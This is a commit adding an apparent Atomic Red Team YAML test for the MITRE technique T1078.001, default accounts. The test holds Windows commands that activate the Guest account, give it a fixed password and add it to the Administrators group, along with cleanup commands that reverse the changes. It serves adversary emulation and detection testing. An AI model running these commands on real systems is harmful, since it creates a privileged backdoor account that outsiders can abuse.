Create T1078.001 and yaml (#1178)

* Create T1078.001 and yaml Creating Folder for sub technique and yaml for .001 * Update T1078.001.yaml * Update T1078.001.yaml Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2020-08-06 08:49:27 -06:00
parent bb59d266d5
commit 5a67b43021
1 changed files with 17 additions and 0 deletions
@@ -0,0 +1,17 @@
+attack_technique: T1078.001
+display_name: 'Valid Accounts: Default Accounts'
+atomic_tests:
+- name: Enable Guest account
+  description: After execution the Default Guest account will be enabled (Active) and added to Administrators Group
+  supported_platforms:
+  - windows
+  executor:
+    command: |
+      net user guest /active:yes
+      net user guest Paswword123!
+      net localgroup administrators guest /add
+    cleanup_command: |-
+      net user guest /active:no
+      net localgroup administrators guest /delete
+    name: command_prompt
+    elevation_required: true